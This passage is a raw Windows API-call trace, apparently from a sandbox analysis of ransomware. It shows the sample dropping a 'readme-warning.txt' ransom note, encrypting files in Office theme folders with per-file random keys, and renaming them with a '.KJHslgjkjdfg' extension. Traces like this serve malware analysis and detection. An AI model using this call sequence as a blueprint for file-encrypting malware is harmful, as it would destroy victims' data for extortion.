lpcbData=0x29dea04*=0x18) returned 0x0 [0171.250] RegCloseKey (hKey=0x12c) returned 0x0 [0171.250] GetProcessHeap () returned 0x990000 [0171.250] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.250] GetProcessHeap () returned 0x990000 [0171.250] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.250] GetProcessHeap () returned 0x990000 [0171.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.250] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.250] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.250] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.250] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.251] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.251] GetProcessHeap () returned 0x990000 [0171.251] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.251] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.251] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.251] GetProcessHeap () returned 0x990000 [0171.251] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.251] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\readme-warning.txt") returned 81 [0171.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.252] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.253] CloseHandle (hObject=0x12c) returned 1 [0171.253] GetProcessHeap () returned 0x990000 [0171.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.254] GetProcessHeap () returned 0x990000 [0171.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.254] GetProcessHeap () returned 0x990000 [0171.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.254] GetProcessHeap () returned 0x990000 [0171.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.254] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.254] GetProcessHeap () returned 0x990000 [0171.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.254] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0171.254] GetProcessHeap () returned 0x990000 [0171.254] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0171.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.256] GetProcessHeap () returned 0x990000 [0171.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.256] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.256] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0171.256] GetProcessHeap () returned 0x990000 [0171.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0171.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.257] GetProcessHeap () returned 0x990000 [0171.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.257] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.257] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.257] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0171.259] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.259] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.259] GetProcessHeap () returned 0x990000 [0171.259] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.259] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.260] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.260] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.260] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.260] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.260] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.260] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.260] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.260] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.260] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.260] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.261] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x189be, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x189be, lpOverlapped=0x0) returned 1 [0171.263] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x189c0, dwBufLen=0x189c0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x189c0) returned 1 [0171.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.264] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x189c0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x189c0, lpOverlapped=0x0) returned 1 [0171.264] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x18a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.264] SetEndOfFile (hFile=0x12c) returned 1 [0171.265] GetProcessHeap () returned 0x990000 [0171.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.265] GetProcessHeap () returned 0x990000 [0171.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.kjhslgjkjdfg")) returned 1 [0171.266] CloseHandle (hObject=0x12c) returned 1 [0171.267] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0171.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.268] GetProcessHeap () returned 0x990000 [0171.268] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.268] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.268] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.268] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0171.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.272] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.272] GetProcessHeap () returned 0x990000 [0171.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.272] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.272] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.272] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.273] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.273] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.273] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.273] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.273] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.273] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.273] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.274] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x211, lpOverlapped=0x0) returned 1 [0171.274] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220, dwBufLen=0x220 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220) returned 1 [0171.274] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.274] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x220, lpOverlapped=0x0) returned 1 [0171.274] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.274] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.274] SetEndOfFile (hFile=0x12c) returned 1 [0171.277] GetProcessHeap () returned 0x990000 [0171.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.277] GetProcessHeap () returned 0x990000 [0171.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.kjhslgjkjdfg")) returned 1 [0171.284] CloseHandle (hObject=0x12c) returned 1 [0171.284] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.284] GetProcessHeap () returned 0x990000 [0171.284] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.284] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.284] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.284] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.285] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.285] GetProcessHeap () returned 0x990000 [0171.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.285] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.285] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.285] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.287] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.287] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.287] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.287] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.288] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.288] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.288] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.288] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xb20, lpOverlapped=0x0) returned 1 [0171.288] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb20, dwBufLen=0xb20 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb20) returned 1 [0171.288] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.288] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xb20, lpOverlapped=0x0) returned 1 [0171.288] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.288] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.288] SetEndOfFile (hFile=0x12c) returned 1 [0171.289] GetProcessHeap () returned 0x990000 [0171.289] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.289] GetProcessHeap () returned 0x990000 [0171.289] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.290] CloseHandle (hObject=0x12c) returned 1 [0171.291] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.291] GetProcessHeap () returned 0x990000 [0171.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.291] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.291] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.291] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0171.293] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.293] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.293] GetProcessHeap () returned 0x990000 [0171.293] RtlAllocateHeap (HeapHandle=0x990000, 